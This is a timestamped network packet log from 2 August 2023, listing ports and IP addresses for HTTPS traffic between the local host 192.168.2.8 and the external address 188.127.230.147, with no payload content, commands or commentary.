Aug 2, 2023 10:46:24.725363970 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725394011 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725406885 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725445986 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725469112 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725611925 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725641012 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725733042 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725749016 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725802898 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725887060 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725915909 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725987911 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726000071 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726051092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726164103 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726192951 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726244926 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726258039 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726294041 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726334095 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726475000 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726507902 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726588964 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726602077 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726656914 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726692915 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726720095 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726795912 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.726809978 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.726864100 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727036953 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727070093 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727123976 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727137089 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727174997 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727190971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727201939 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727211952 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727238894 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727271080 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727313995 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727324009 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727380991 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727483034 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727539062 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727576017 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727587938 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727633953 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727745056 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727787971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727791071 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727807999 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.727860928 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.727936029 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728070974 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728121042 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728215933 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728229046 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728301048 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728347063 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728374958 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728447914 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728456974 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728518963 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728677034 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728705883 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728830099 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.728838921 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.728918076 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729123116 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729208946 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729216099 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729250908 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729284048 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729317904 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729487896 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729512930 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729569912 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729618073 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729619026 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729639053 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729708910 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729780912 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729803085 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.729877949 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.729887009 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730138063 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730237007 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.730257034 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730304003 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730334997 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.730504990 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730568886 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730590105 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.730622053 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730657101 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.730825901 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730851889 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730920076 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730942965 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.730964899 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.730987072 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731003046 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731076002 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731086969 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731141090 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731147051 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731161118 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731185913 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731215000 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731228113 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731260061 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731287003 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731442928 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731465101 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731587887 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731602907 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731658936 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731739998 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731760979 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731884956 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.731900930 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.731962919 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.732079029 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.732110023 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.732264042 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.732284069 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.732388973 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.793112993 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793144941 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793212891 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793268919 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793288946 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.793315887 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793334961 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793359995 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793409109 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.793421030 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793452024 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793473005 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.793488979 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793504953 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.793521881 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.793561935 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794327974 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794385910 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794423103 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794433117 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794466019 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794504881 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794538021 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794596910 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794605970 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794622898 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794645071 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794711113 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794720888 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794735909 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794765949 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794812918 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794826984 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794857025 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794863939 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794893980 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794929981 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794944048 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.794971943 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.794981003 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795013905 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795046091 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795058966 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795085907 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795103073 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795125008 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795169115 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795185089 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795205116 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795217037 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795249939 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795284033 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795299053 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795329094 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795341015 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795370102 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795403957 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795416117 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795440912 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795469999 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795504093 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795533895 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795543909 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795583963 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795589924 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795604944 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795631886 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795702934 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795713902 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795731068 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795763016 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795794964 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795803070 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795834064 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795855999 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795886040 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795933008 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795947075 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.795978069 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.795989990 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796026945 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796051979 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796062946 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796103001 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796113968 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796143055 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796181917 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796190977 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796231985 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796240091 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796267033 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796298027 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796309948 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796350956 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796356916 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796382904 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796473980 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796474934 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796492100 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796531916 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796545029 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796571970 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796580076 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796597958 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796614885 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796624899 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796668053 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796678066 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796713114 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796726942 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796751976 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796757936 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796775103 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796802044 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796848059 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796859980 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796876907 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796897888 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796927929 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.796938896 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796983004 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.796984911 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797013998 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797018051 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797024012 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797033072 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797102928 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797120094 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797147989 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797203064 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797214985 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797241926 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797254086 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797267914 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797277927 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797300100 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797317982 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797369957 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797378063 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797398090 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797424078 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797425032 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797441006 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797504902 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797519922 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797554970 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797604084 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797610998 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797645092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797652960 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797672033 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797681093 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797700882 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797722101 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797780991 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797782898 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797805071 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797844887 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797862053 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797872066 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797895908 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797909975 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797929049 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.797955990 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.797971010 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798001051 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798029900 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798042059 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798060894 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798089027 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798098087 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798151016 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798181057 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798187971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798207045 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798227072 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798269987 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798289061 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798315048 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798373938 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798388004 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798414946 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798432112 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798444033 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798466921 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798479080 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798518896 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798527956 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798567057 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798573017 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798585892 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798607111 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798634052 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798644066 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798691034 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798691988 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798710108 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798737049 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798758030 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798767090 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798799038 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798830986 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798844099 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798873901 CEST	443	49699	188.127.230.147	192.168.2.8
